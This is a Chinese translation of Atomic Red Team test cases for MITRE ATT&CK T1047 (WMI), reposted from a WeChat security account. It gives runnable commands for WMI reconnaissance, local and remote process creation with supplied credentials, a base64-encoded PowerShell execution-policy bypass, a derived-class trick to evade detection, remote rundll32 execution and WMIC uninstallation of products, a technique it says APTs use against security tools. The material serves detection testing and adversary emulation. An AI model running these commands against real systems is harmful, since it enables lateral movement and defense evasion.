T1047-Windows管理规范（WMI）

WMI侦察用户信息

原子测试 #1 - WMI侦察用户信息

攻击者可能会使用WMI列出所有本地用户账户。测试完成后，命令行上应该会显示本地用户账户信息。

支持的平台：Windows 

自动生成的GUID：c107778c - dcf5 - 47c5 - af2e - 1d058a3df3ea 

攻击命令：使用command_prompt运行！

wmic useraccount get /ALL /format:csv

wmic process get caption,executablepath,commandline /format:csv

WMI侦察软件信息

攻击者可能会使用WMI列出已安装软件的热修复程序和补丁。测试完成后，应该会有一个已安装补丁及其安装时间的列表。

支持的平台：Windows

自动生成的GUID：718aebaa - d0e0 - 471a - 8241 - c5afa69c7414

攻击命令：使用command_prompt运行！

wmic qfe get description,installedOn /format:csv

WMI侦察列出远程服务

攻击者可能会使用WMI检查某个远程服务是否在远程设备上运行。测试完成后，如果服务存在，其信息将显示在屏幕上。如果查询的服务未运行，常见的反馈消息是 “No instance(s) Available”（无可用实例）。如果提供的远程主机无法访问，常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”（节点 - （提供的IP或默认值）错误描述 = RPC服务器不可用）。

支持的平台：Windows

自动生成的GUID：0fd48ef7 - d890 - 4e93 - a533 - f7dedd5191d3

输入参数：

攻击命令：使用command_prompt运行！

wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")

WMI执行本地程序

此测试使用wmic.exe在本地主机上执行一个进程。测试完成后，将在本地启动一个新进程。如果输入保持默认值，将启动一个记事本应用程序。

支持的平台：Windows

自动生成的GUID：b3bdfc91 - b33e - 4c6d - a5c8 - d64bee0276b3

输入参数：

攻击命令：使用command_prompt运行！

wmic process call create #{process_to_execute}

清理命令：

wmic process where name='#{process_to_execute}' delete >nul 2>&1

WMI执行远程进程

此测试使用wmic.exe在远程主机上执行一个进程。使用node参数指定一个有效的远程IP值。要进行清理，请提供与运行测试时相同的node输入。如果默认或提供的IP无法访问，常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”（节点 - （提供的IP或默认值）错误描述 = RPC服务器不可用）。 支持的平台：Windows

自动生成的GUID：9c8ef159 - c666 - 472f - 9874 - 90c8d60d136b

输入参数：

攻击命令：使用command_prompt运行！

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}

清理命令：

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1

使用WMI查询和编码命令创建进程

Solarigate持久化是通过各种技术部署的后门实现的，包括使用带有EncodedCommand的PowerShell：Powershell -nop -exec bypass -EncodedCommand，其中EncodedCommand一旦解码，将类似于：Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:windowsidmucommonypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION。此原子测试中的EncodedCommand如下：Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe。执行此测试后，你应该会看到notepad.exe正在运行。来自微软的Solarigate分析

支持的平台：Windows

自动生成的GUID：7db7a7f9 - 9531 - 4840 - 9b30 - 46220135441c

攻击命令：使用command_prompt运行！

powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

使用混淆的Win32_Process创建进程

此测试试图通过创建一个继承自Win32_Process的新类来掩盖进程创建行为。对Win32_Process::Create等可疑方法的间接调用可能会破坏检测逻辑。[Cybereason博客文章《无需Win32_Process》（在新标签页中打开）]

支持的平台：Windows

自动生成的GUID：10447c83 - fc38 - 462a - a936 - 5102363b1c43

输入参数：

攻击命令：使用powershell运行！需要提升权限（例如root或管理员权限）

$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))$NewClass = $Class.Derive("#{new_class}")$NewClass.Put()Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}

清理命令：

$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))try { $CleanupClass.Delete() } catch {}

WMI执行rundll32

此测试使用wmic.exe通过rundll32执行一个DLL函数。使用node参数指定一个有效的远程IP值。

支持的平台：Windows

自动生成的GUID：00738d2a - 4651 - 4d76 - adf2 - c43a41dfb243

输入参数：

攻击命令：使用command_prompt运行！

wmic /node:#{node} process call create "rundll32.exe "#{dll_to_execute}" #{function_to_execute}"

清理命令：

taskkill /f /im calculator.exe

• 依赖项：使用powershell运行！

• 描述：必须在指定位置（#{dll_to_execute}）的磁盘上存在要执行函数的DLL。

• 检查先决条件命令：

if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}

• 获取先决条件命令：

New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"

使用WMIC卸载应用程序

模拟使用WMIC卸载应用程序。此方法仅在产品是使用msi文件安装时才有效。已发现高级持续威胁（APT）使用此方法来卸载安全产品。 支持的平台：Windows

自动生成的GUID：c510d25b - 1667 - 467d - 8331 - a56d3e9bc4ff

输入参数：

攻击命令：使用command_prompt运行！需要提升权限（例如root或管理员权限）

wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall

清理命令：

msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestart

• 依赖项：使用powershell运行！

• 描述：必须安装TightVNC。

• 检查先决条件命令：

if ((Test-Path "C:Program FilesTightVNCtvnviewer.exe")-Or (Test-Path "C:Program Files (x86)TightVNCtvnviewer.exe")) {exit 0} else {exit 1}

• 获取先决条件命令：

Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi"start-sleep -s 10msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestartstart-sleep -s 15

原文始发于微信公众号（网空安全手札）：T1047-Windows管理规范（WMI）